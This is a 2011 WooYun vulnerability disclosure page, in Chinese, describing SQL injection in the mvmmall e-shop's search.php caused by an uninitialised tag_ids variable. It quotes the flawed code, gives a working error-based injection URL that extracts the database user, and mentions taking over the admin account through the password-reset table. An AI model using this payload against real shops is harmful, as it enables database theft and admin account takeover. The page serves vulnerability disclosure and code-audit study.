当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(2) 关注此漏洞

缺陷编号: WooYun-2011-01732

漏洞标题: mvmmall网店商城系统注入漏洞

相关厂商: php多用户商城系统

漏洞作者:

提交时间: 2011-03-27 20:23

公开时间: 2011-03-27 23:46

漏洞类型: SQL注射漏洞

危害等级: 中

自评Rank: 5

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 php源码分析 变量未初始化

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-03-27: 积极联系厂商并且等待厂商认领中,细节不对外公开
2011-03-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

mvmmall网店商城系统最新注入0day问题出在搜索search.php这个文件上。

详细说明:

代码如下:



require_once ‘include/common.inc.php’;

require_once ROOTPATH.’header.php’;

if($action!=’search’){

$search_key = ”;

if (isset($ps_search))

{ //省略一堆东西

$tag_ids = array(); //在if里

//继续省略

while ($row = $db->fetch_array($result)) {

$tag_ids[] = $row['goods_id'];

} //也是在if里

}

//省略一堆东西

} //结束if里的东西

//商品标签搜索

$tag_ids = array_unique($tag_ids); //没有ps_search他就没初始化!可自行输入

$tag_search = implode(‘,’,dhtmlchars($tag_ids)); //dhtmlchars过滤HTML标签不用理会

$tag_search && $tag_search = “OR uid IN($tag_search)”; //呼…..成功了!

//省略无关东西

$search_sql = “WHERE upv = ’1′ AND up_date<=’$m_now_time’”.” AND (( 1 ” . $cat_search . $search_key . $brand_search . $min_search . $max_search .” ) “.$tag_search.” )”;//没有单引号的….

$total_count = $db->counter($mvm_goods_table,$search_sql);



用ADMIN的用户和MALL后用找回密码功能 mvm_lostpass存放验证串直接改密码了。

漏洞证明:

http://URL/search.php?tag_ids[goods_id]=uid))%20and(select%201%20from(select%20count(*),concat((select%20(select%20user())%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1%23

修复方案:

版权声明:转载请注明来源 @乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:7 (WooYun评价)


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2012-06-26 08:51 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    1

    程序没有考虑到,如果没有选那项就没有xxx='';很多程序都这样,造成了变量覆盖

登录后才能发表评论,请先 登录